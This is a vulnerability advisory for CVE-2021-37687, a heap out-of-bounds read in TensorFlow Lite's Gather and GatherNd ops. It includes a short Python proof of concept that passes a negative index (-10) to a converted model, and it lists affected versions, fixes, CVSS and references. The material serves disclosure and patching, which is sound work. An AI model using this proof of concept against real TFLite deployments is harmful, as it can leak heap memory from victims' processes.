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  5. CVE-2021-37687

CVE-2021-37687: Heap OOB in TFLite's `Gather*` implementations

August 25, 2021 (updated November 13, 2024)

TFLite’s GatherNd implementation does not support negative indices but there are no checks for this situation.

Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.

Similar issue exists in Gather implementation.

import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()

params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())

out = tf.gather(params, indices, name='out')

with tf.compat.v1.Session() as sess:
converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
tflite_model = converter.convert()

interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()

input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()

params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)

interpreter.invoke()

References

  • github.com/advisories/GHSA-jwf9-w5xm-f437
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-600.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-798.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-309.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc
  • github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc
  • github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f
  • github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-jwf9-w5xm-f437
  • nvd.nist.gov/vuln/detail/CVE-2021-37687

Code Behaviors & Features

Detect and mitigate CVE-2021-37687 with GitLab Dependency Scanning

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Affected versions

All versions before 2.3.4, all versions starting from 2.4.0 before 2.4.3, all versions starting from 2.5.0 before 2.5.1, version 2.5.0

Fixed versions

  • 2.3.4
  • 2.4.3
  • 2.5.1

Solution

Upgrade to versions 2.3.4, 2.4.3, 2.5.1 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow-gpu/CVE-2021-37687.yml

Spotted a mistake? Edit the file on GitLab.

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